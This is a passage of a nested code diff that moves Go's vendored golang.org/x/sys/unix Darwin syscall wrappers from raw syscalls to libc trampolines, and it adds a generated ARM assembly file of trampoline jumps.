-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
-+ r0, _, e1 := syscall_syscall9(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1599,7 +2343,7 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int32(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2351,134 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat_trampoline()
-+
-+//go:linkname libc_fstat libc_fstat
-+//go:cgo_import_dynamic libc_fstat fstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat_trampoline()
-+
-+//go:linkname libc_fstatat libc_fstatat
-+//go:cgo_import_dynamic libc_fstatat fstatat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs_trampoline()
-+
-+//go:linkname libc_fstatfs libc_fstatfs
-+//go:cgo_import_dynamic libc_fstatfs fstatfs "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat_trampoline()
-+
-+//go:linkname libc_getfsstat libc_getfsstat
-+//go:cgo_import_dynamic libc_getfsstat getfsstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat_trampoline()
-+
-+//go:linkname libc_lstat libc_lstat
-+//go:cgo_import_dynamic libc_lstat lstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat_trampoline()
-+
-+//go:linkname libc_stat libc_stat
-+//go:cgo_import_dynamic libc_stat stat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs_trampoline()
-+
-+//go:linkname libc_statfs libc_statfs
-+//go:cgo_import_dynamic libc_statfs statfs "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
-new file mode 100644
-index 00000000..b67f518f
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
-@@ -0,0 +1,282 @@
-+// go run mkasm_darwin.go arm
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
